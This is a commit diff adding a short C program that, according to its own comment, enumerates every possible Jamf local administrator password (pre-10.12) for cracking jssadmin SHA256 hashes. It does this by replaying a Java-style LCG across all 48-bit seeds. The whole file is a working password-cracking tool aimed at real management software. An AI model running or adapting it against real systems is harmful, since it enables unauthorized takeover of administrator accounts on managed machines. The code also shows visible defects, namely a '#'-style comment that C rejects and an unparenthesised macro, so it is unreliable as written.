Create oldpasswordgenerator.c

oldpasswordgenerator.c

@@ -0,0 +1,50 @@
+#include <stdio.h>
+
+# Generates all possible jamf local administrative passwords to crack local jssadmin SHA256 hashes in Jamf prior to ~10.12
+
+long long seed = 0L;
+
+char charset[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
+#define CHARSETLEN 62
+#define MASK (1L << 48) - 1
+#define PASSWORDLENGTH 16
+#define ADDEND 0xBL
+#define MULTIPLIER 0x5DEECE66DL
+
+long next31() {
+    long long oldseed, nextseed;
+    oldseed = seed;
+    nextseed = ((oldseed * MULTIPLIER) + ADDEND) & MASK;
+    seed = nextseed;
+    return (long)(nextseed >> (48 - 31));
+}
+
+long nextInt() {
+   long r = next31();
+   long m = CHARSETLEN - 1;
+   for (long u = r;
+        u - (r = u % CHARSETLEN) + m < 0;
+        u = next31());
+   return r;
+}
+
+void randomPassword(long long uniq) {
+   seed = uniq & MASK;
+
+   char buffer[PASSWORDLENGTH+1];
+   buffer[PASSWORDLENGTH] = 10;
+
+   for (int i = 0; i < PASSWORDLENGTH; i++)
+      buffer[i] = charset[nextInt()];
+
+   fwrite(buffer, 1, PASSWORDLENGTH+1, stdout);
+ }
+
+
+int main() {
+
+   unsigned long long nano = 0;
+   for (nano = 1L; nano < MASK; nano++)
+       randomPassword(nano);
+
+}